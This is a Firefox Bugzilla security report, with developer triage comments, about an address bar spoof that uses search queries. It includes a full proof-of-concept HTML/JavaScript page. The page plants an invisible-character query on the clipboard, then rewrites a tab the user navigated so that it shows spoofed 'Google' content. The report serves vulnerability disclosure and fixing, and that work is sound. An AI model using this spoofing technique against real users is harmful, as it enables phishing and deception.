Closed Bug 1974410 Opened 9 months ago Closed 6 months ago

[land test for] Firefox Desktop Address Bar Spoof Using Search Query

Categories

(Firefox :: Address Bar, defect, P2)

defect

Tracking

()

RESOLVED FIXED
144 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr128 --- unaffected
firefox-esr140 141+ fixed
firefox140 --- wontfix
firefox141 --- fixed

People

(Reporter: renwax23, Assigned: jteow)

References

Details

(Keywords: csectype-spoof, reporter-external, sec-other, Whiteboard: [client-bounty-form][fixed by 1970997][sng][adv-main141-][adv-esr140.1-])

Attachments

(3 files)

In the new Firefox update when we search for something inside the address bar the search query value will remain inside the address bar and the address bar won't be updated to the search engine URL. While testing I found out if we redirect the tab to about:blank the URL bar won't change to about:blank or the opener's URL, instead it will still show the search query inside the address bar with our controlled webpage contents. There is also a protection when there is a dot in a URL like (google.com) the address bar value will change to the search engine query and not the search query but I was able to bypass that with an invisible space before the domain name. (\u{E007D}google.com).

Steps to Reproduce:

  1. Open https://rx23.io/test/dice.html and Click on the button
  2. Paste what you have copied inside the address bar or just make a normal search query
  3. Go back to first tab then to the search tab
  4. Address bar is spoofed to the value you pasted or the search query you made with our controlled DOM.

Video POC: https://drive.google.com/file/d/17rv1JTocGdPxT_jj9ucvbHnuspFz4e6-/view?usp=sharing

POC Code Used:



<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>POC</title>
  <style>body,html{margin:0;height:100%;display:flex;justify-content:center;align-items:center;background:#f0f0f0;font-family:Arial,sans-serif}#myButton{padding:1rem 2rem;font-size:1rem;border:none;border-radius:0.5rem;background:linear-gradient(135deg,#6e8efb,#a777e3);color:white;cursor:pointer;box-shadow:0 4px 8px rgba(0,0,0,0.1);transition:transform 0.1s ease,box-shadow 0.1s ease}#myButton:active{transform:translateY(2px);box-shadow:0 2px 4px rgba(0,0,0,0.1)}</style>
</head>
<body>

  <button id="myButton" onclick=handleClick();>Click me!</button>

  <script>
const handleClick = () => {
  navigator.clipboard.writeText("@bing \u{E007D}google.com");

  const x = window.open('about:blank', 'x');
  x.document.write('<h1>Paste in the address bar and press enter</h1>');
  document.body.innerHTML = '<h1>Go back to the other tab</h1>';

  const interval = setInterval(() => {
    try {
      const href = x.location.href;

      if (href !== 'about:blank') {
        console.log('Still same-origin:', href);
      }
    } catch (e) {
      console.log('Navigated to a different origin, lost access.');

      window.onfocus = () => {
        x.location = 'about:blank';
        setTimeout(() => {
          x.document.write('<h1>spoofed</h1>');
          x.document.title = 'Google';
        }, 100);
      };
      clearInterval(interval);
    }
  }, 500);
};
  </script>

</body>
</html>
Flags: sec-bounty?

So the fact that the address bar doesn't update is something I think we should fix in the address bar code.

However, the opener tab being able to navigate the window after the user has initiated a load in it also seems surprising to me. I know we'd throw security errors trying to read window.location or the DOM of a cross origin page. Nika, if we have a user-initiated navigation in a window opened via window.open, can/should we break write access for the opener to navigate that window some more?

Component: Security → Address Bar
Flags: needinfo?(nika)
Flags: needinfo?(jteow)

This doesn't work in Nightly and I suspect it has been fixed by Bug 1970997, ~~~that we should definitely uplift.~~~ oh it's in 141 already, and I doubt we'd uplift to Release, though we can uplift to ESR.
Maybe the test case could be synthesized into a CI unit test.

Assigning to James to investigate adding a specific test for this.

Assignee: nobody → jteow
Severity: -- → S2
Status: UNCONFIRMED → NEW
Ever confirmed: true
Priority: -- → P2
Depends on: CVE-2025-8039
Whiteboard: [client-bounty-form] → [client-bounty-form][fixed by 1970997]
Flags: needinfo?(nika)
Summary: Firefox Desktop Address Bar Spoof Using Search Query → [land test for] Firefox Desktop Address Bar Spoof Using Search Query
Whiteboard: [client-bounty-form][fixed by 1970997] → [client-bounty-form][fixed by 1970997][sng]
Keywords: sec-other
Whiteboard: [client-bounty-form][fixed by 1970997][sng] → [client-bounty-form][fixed by 1970997][sng][adv-main141-][adv-esr140.1-]
Group: firefox-core-security → core-security-release

The testcase URL in comment 0 has been changed to show variant bug 1976102. Saving the in-line version as an attachment for convenience.

Attached file (secure)
Flags: needinfo?(jteow)

Unfortunately this spoof does not meet the severity level for the bug bounty program

Flags: sec-bounty? → sec-bounty-

There is an r+ patch which didn't land and no activity in this bug for 2 weeks.
:jteow, could you have a look please?
If you still have some work to do, you can add an action "Plan Changes" in Phabricator.
For more information, please visit BugBot documentation.

Flags: needinfo?(mak)
Flags: needinfo?(jteow)

I had availability to work on this, and we will land it when the fix has been in release for more time.

Flags: needinfo?(mak)
Flags: needinfo?(jteow)

(In reply to Ryan VanderMeulen [:RyanVM] from comment #10)

https://hg-edge.mozilla.org/mozilla-central/rev/c1ff3ca515c2

I think this bug should probably be closed with milestones etc. updated accordingly?

Flags: needinfo?(standard8)
Flags: needinfo?(standard8) → needinfo?(jteow)

The original issue was fixed in 141 and this patch is just about landing the associated test (hence setting the milestone to when the test landed).

Status: NEW → RESOLVED
Closed: 6 months ago
Flags: needinfo?(jteow)
Resolution: --- → FIXED
Target Milestone: --- → 144 Branch
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: